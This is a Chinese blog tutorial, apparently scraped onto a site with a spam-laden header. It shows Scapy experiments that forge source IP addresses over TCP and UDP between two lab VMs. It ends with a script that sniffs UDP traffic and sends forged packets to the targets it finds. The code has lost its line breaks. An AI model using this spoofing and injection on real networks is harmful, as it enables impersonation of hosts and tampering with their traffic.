日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Scapy 伪造网络数据包

發(fā)布時間:2025/3/20 编程问答 50 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Scapy 伪造网络数据包 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

實驗說明

這里說明的數(shù)據(jù)包偽造只是偽造數(shù)據(jù)包發(fā)送的源地址。網(wǎng)絡上有一些有人說可以對數(shù)據(jù)包內容的偽造(修改)和轉發(fā),不過目前還沒找到這一點是如何完成的,甚至是在官方提供的文檔上也沒有看到這一類操作的說明。


版權說明

著作權歸作者所有。
商業(yè)轉載請聯(lián)系作者獲得授權,非商業(yè)轉載請注明出處。
本文作者:Q-WHai
發(fā)表日期: 2016年4月20日
本文鏈接:http://blog.csdn.net/lemon_tree12138/article/details/51198116
來源:CSDN
更多內容:分類 >> 黑客的隱形衣


目錄

文章目錄

  • 實驗說明
  • 版權說明
  • 目錄
    • @[toc]
  • 實驗環(huán)境
  • 實驗過程
    • 基于 TCP 協(xié)議正常抓包
    • 基于 TCP 偽造數(shù)據(jù)包
    • 基于 UDP 協(xié)議正常抓包
    • 基于 UDP 協(xié)議偽造數(shù)據(jù)包
    • 嗅探及偽造
  • 結論與總結
  • 征集

實驗環(huán)境

  • 兩臺 CentOS6.5 虛擬主機
  • Python 2.6.6
  • Scapy 2.3.1-dev

  • 實驗過程

    基于 TCP 協(xié)議正常抓包

    (1) 發(fā)送端

    >>> data = "Hello Scapy" >>> pkt = IP(src='172.16.2.135', dst='172.16.2.91')/TCP(sport=12345, dport=5555)/data >>> send(pkt, inter=1, count=1)

    (2) 接收端

    >>> receive = sniff(filter="tcp and host 172.16.2.135") >>> receive <Sniffed: TCP:2 UDP:0 ICMP:0 Other:0> >>> receive[0] <Ether dst=08:00:27:24:b8:a3 src=08:00:27:e2:f7:db type=0x800 |<IP version=4L ihl=5L tos=0x0 len=51 id=1 flags= frag=0L ttl=64 proto=tcp chksum=0x1dc2 src=172.16.2.135 dst=172.16.2.91 options=[] |<TCP sport=italk dport=personal_agent seq=0 ack=0 dataofs=5L reserved=0L flags=S window=8192 chksum=0x9b22 urgptr=0 options=[] |<Raw load='Hello Scapy' |>>>> >>> receive[0].load 'Hello Scapy'

    通過實驗,在正常情況下,基于 TCP 協(xié)議可以正常捕獲網(wǎng)絡數(shù)據(jù)包。

    基于 TCP 偽造數(shù)據(jù)包

    (1) 發(fā)送端

    >>> data = "Hello Scapy" >>> pkt = IP(src='172.16.2.134', dst='172.16.2.91')/TCP(sport=12345, dport=5555)/data >>> send(pkt, inter=1, count=1)

    (2) 接收端
    由于實驗中是修改了源地址進行偽造數(shù)據(jù)包,所以,這里需要進行 2 次嗅探操作。如下:

    >>> receive = sniff(filter="tcp and host 172.16.2.134") >>> receive <Sniffed: TCP:0 UDP:0 ICMP:0 Other:0> >>> receive = sniff(filter="tcp and host 172.16.2.135") >>> receive <Sniffed: TCP:0 UDP:0 ICMP:0 Other:0>

    通過實驗,如果源地址被偽造,基于 TCP 協(xié)議的通信將會被阻斷。原因就是 TCP 通信時的三次握手。當服務器無法與客戶端之間進行三次握手操作時,通信將不能繼續(xù)進行下去。

    基于 UDP 協(xié)議正常抓包

    (1) 發(fā)送端

    >>> data = "Hello Scapy" >>> pkt = IP(src='172.16.2.135', dst='172.16.2.91')/UDP(sport=12345, dport=5555)/data >>> send(pkt, inter=1, count=1)

    (2) 接收端

    >>> receive = sniff(filter="udp and host 172.16.2.135") >>> receive <Sniffed: TCP:0 UDP:1 ICMP:0 Other:0> >>> receive[0].load 'Hello Scapy'

    通過實驗,基于 UDP 協(xié)議的通信正常。接收端可以接收到發(fā)送端發(fā)送的數(shù)據(jù)。

    基于 UDP 協(xié)議偽造數(shù)據(jù)包

    (1) 發(fā)送端

    >>> data = "Hello Scapy" >>> pkt = IP(src='172.16.2.134', dst='172.16.2.91')/UDP(sport=12345, dport=5555)/data >>> send(pkt, inter=1, count=1)

    這里與正常情況下唯一的區(qū)別在于修改了源 IP 地址。

    (2) 接收端
    監(jiān)聽主機 172.16.2.135

    >>> receive = sniff(filter="udp and host 172.16.2.135") >>> receive <Sniffed: TCP:0 UDP:0 ICMP:0 Other:0>

    監(jiān)聽主機 172.16.2.134

    >>> receive = sniff(filter="udp and host 172.16.2.134") >>> receive <Sniffed: TCP:0 UDP:1 ICMP:0 Other:0> >>> receive[0].load 'Hello Scapy'

    通過實驗,基于 UDP 協(xié)議的網(wǎng)絡通信中。即使偽造了源 IP 地址,接收端仍然可以接收到偽造之后的數(shù)據(jù)包。

    嗅探及偽造

    在上面的實驗中,只是對偽造源 IP 地址過程的再現(xiàn)。這里再做一個在網(wǎng)絡通信的過程中的嗅探與偽造。
    這里的實驗部署如下:

  • 一臺運行 UDP 接收端 python 程序的主機
  • 一臺運行 UDP 發(fā)送端 python 程序的主機
  • 在發(fā)送端再運行一個 Scapy Sniff 程序
  • 在發(fā)送端向接收端發(fā)送一個隨機數(shù)據(jù)包
  • 嗅探程序在嗅探的數(shù)據(jù)中篩選出合適的目標地址和端口
  • 再由偽造程序向目標地址發(fā)送偽造的數(shù)據(jù)
  • 相關部分的代碼如下:
    對 UDP 通信的嗅探腳本

    # encoding=utf-8from scapy.all import *receive = sniff(filter="udp and host 172.16.2.135", count=100) receive.show()

    通過對 UDP 通信的嗅探,偽造數(shù)據(jù)包

    # encoding=utf-8from scapy.all import * import utils import osos.system("python sniff_script.py >> sniff.log")def forge(address, port):""" 通過嗅探到的數(shù)據(jù),進行偽造數(shù)據(jù) """forge_data = "This is forge data."pkt = IP(src='172.16.2.200', dst=address)/UDP(sport=12345, dport=port)/forge_datasend(pkt, inter=1, count=3)passsniff_file = open("sniff.log", "rb") for data in sniff_file.readlines():result = utils.match(data)if result is not None and result[0] != '172.16.2.135':print(result)forge(result[0], int(result[1]))passpass

    當運行嗅探偽造程序之后,這里表明截獲了兩條數(shù)據(jù)。而且,程序已經(jīng)把偽造的數(shù)據(jù)發(fā)送出去了。

    下面的信息是在接收端觀察發(fā)現(xiàn)的,這里表明接收端程序已經(jīng)接收到嗅探偽造程序發(fā)送的偽造數(shù)據(jù)了。


    結論與總結

    通過上面的實驗以及實驗說明,我們可以得出如下幾條結論:

  • 使用基于 TCP 協(xié)議的通信不可以對源 IP 地址進行偽造
  • 使用基于 UDP 協(xié)議的通信可以對源 IP 地址進行偽造
  • TCP 不能偽造源 IP 地址是因為 TCP 協(xié)議中的三次握手的存在,如果源 IP 地址被修改,那么三次握手將無法達成。而 UDP 則不同,UDP 中不存在三次握手,那么發(fā)送端就只要發(fā)送數(shù)據(jù)即可,而接收端只要接收數(shù)據(jù)即可。所以,在 TCP 中不能對源 IP 地址進行偽造,而 UDP 中則可以。


    征集

    如果你也需要使用ProcessOn這款在線繪圖工具,可以使用如下邀請鏈接進行注冊:
    https://www.processon.com/i/56205c2ee4b0f6ed10838a6d

    總結

    以上是生活随笔為你收集整理的Scapy 伪造网络数据包的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內容還不錯,歡迎將生活随笔推薦給好友。